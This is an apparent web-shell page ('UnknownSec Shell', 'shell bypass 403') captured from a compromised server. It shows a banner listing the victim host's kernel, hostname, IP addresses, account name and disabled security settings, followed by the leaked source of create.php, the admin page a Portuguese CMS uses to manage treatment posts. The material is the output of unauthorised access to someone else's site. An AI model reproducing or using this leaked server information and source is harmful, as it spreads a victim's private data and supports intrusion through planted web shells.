shell bypass 403

UnknownSec Shell

Uname: Linux dedi-15171674.espacofacial.com.br 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
Software: Apache
PHP version: 8.2.33 [ PHP INFO ] PHP os: Linux
Server Ip: 104.21.5.151
Your Ip: 216.73.216.87
User: espa7358 (1004) | Group: espa7358 (1003)
Safe Mode: OFF
Disable Function:
NONE

name : create.php
<?php
$AdminLevel = LEVEL_WC_TRATAMENTOS;
if (!APP_TRATAMENTOS || empty($DashboardLogin) || empty($Admin) || $Admin['user_level'] < $AdminLevel) :
    die('<div style="text-align: center; margin: 5% 0; color: #C54550; font-size: 1.6em; font-weight: 400; background: #fff; float: left; width: 100%; padding: 30px 0;"><b>ACESSO NEGADO:</b> Você não esta logado<br>ou não tem permissão para acessar essa página!</div>');
endif;

$RegId = filter_input(INPUT_GET, 'id', FILTER_VALIDATE_INT);
if ($RegId) :
    $Read->ExeRead(DB_TRATAMENTOS, "WHERE trat_id = :id", "id={$RegId}");
    if ($Read->getResult()) :
        $FormData = array_map('htmlspecialchars', $Read->getResult()[0]);
        extract($FormData);
    else :
        $_SESSION['trigger_controll'] = "<b>OPPSS {$Admin['user_name']}</b>, você tentou editar um post que não existe ou que foi removido recentemente!";
        header('Location: dashboard.php?wc=tratamentos/home');
    endif;
else :
    $RegCreate = ['trat_date' => date('Y-m-d H:i:s'), 'trat_type' => 'post', 'trat_status' => 0, 'trat_author' => $Admin['user_id']];
    $Create->ExeCreate(DB_TRATAMENTOS, $RegCreate);
    header('Location: dashboard.php?wc=tratamentos/create&id=' . $Create->getResult());
endif;
?>

<header class="dashboard_header">
    <div class="dashboard_header_title">
        <h1 class="icon-new-tab"><?= $trat_title ? $trat_title : "Novo Tratamento"; ?></h1>
        <p class="dashboard_header_breadcrumbs">
            &raquo; <?= ADMIN_NAME; ?>
            <span class="crumb">/</span>
            <a title="<?= ADMIN_NAME; ?>" href="dashboard.php?wc=home">Dashboard</a>
            <span class="crumb">/</span>
            <a title="<?= ADMIN_NAME; ?>" href="dashboard.php?wc=tratamentos/home">Tratamentos</a>
            <span class="crumb">/</span>
            Gerenciar Tratamentos
        </p>
    </div>

    <div class="dashboard_header_search">
        <a target="_blank" title="Ver no site" href="<?= BASE; ?>/artigo/<?= $trat_name; ?>" class="wc_view btn btn_green icon-eye">Ver artigo no site!</a>
    </div>
</header>

<div class="dashboard_content">
    <form class="auto_save" name="trat_create" action="" method="post" enctype="multipart/form-data">
        <input type="hidden" name="callback" value="Tratamentos" />
        <input type="hidden" name="callback_action" value="manager" />
        <input type="hidden" name="trat_id" value="<?= $RegId; ?>" />

        <div class="box box70">
            <div class="panel_header default">
                <h2 class="icon-blog">Dados sobre o Tratamento</h2>
            </div>
            <div class="panel">
                <label class="label">
                    <span class="legend">Título:</span>
                    <input  type="text" name="trat_title" value="<?= $trat_title; ?>" required />
                </label>

                <label class="label">
                    <span class="legend">Subtítulo:</span>
                    <textarea style="font-size: 1.2em;" name="trat_subtitle" rows="3" required><?= $trat_subtitle; ?></textarea>
                </label>

                <label class="label">
                    <span class="legend">Capa: (JPG 718x718px)</span>
                    <input type="file" class="wc_loadimage" name="trat_cover" />
                </label>

                <label class="label">
                    <span class="legend">Post:</span>
                    <textarea class="work_mce_basic" rows="50" name="trat_content"><?= $trat_content; ?></textarea>
                </label>
            </div>
        </div>

        <div class="box box30">

            <div class="trat_create_cover">
                <div class="upload_progress none">0%</div>
                <?php
                $RegCover = (!empty($trat_cover) && file_exists("../uploads/{$trat_cover}") && !is_dir("../uploads/{$trat_cover}") ? "uploads/{$trat_cover}" : 'admin/_img/no_image.jpg');
                ?>
                <img class="trat_thumb trat_cover" alt="Capa" title="Capa" src="../tim.php?src=<?= $RegCover; ?>&w=718&h=718" default="../tim.php?src=<?= $RegCover; ?>&w=<?= IMAGE_W; ?>&h=<?= IMAGE_H; ?>" />
            </div>
            <div class="panel_header default">
                <h2>Publicar:</h2>
            </div>
            <div class="panel">
                <div class="m_top">&nbsp;</div>
                <div class="wc_actions" style="text-align: center">
                    <label class="label_check label_publish <?= ($trat_status == 1 ? 'active' : ''); ?>"><input style="margin-top: -1px;" type="checkbox" value="1" name="trat_status" <?= ($trat_status == 1 ? 'checked' : ''); ?>> Publicar Agora!</label>
                    <button name="public" value="1" class="btn btn_green icon-share">ATUALIZAR</button>
                    <img class="form_load none" style="margin-left: 10px;" alt="Enviando Requisição!" title="Enviando Requisição!" src="_img/load.gif" />
                </div>
                <div class="clear"></div>

                <?php
                //$URLSHARE = "/artigo/{$trat_name}";
                //require '_tpl/Share.wc.php';
                ?>
            </div>
        </div>
    </form>
</div>
© 2026 UnknownSec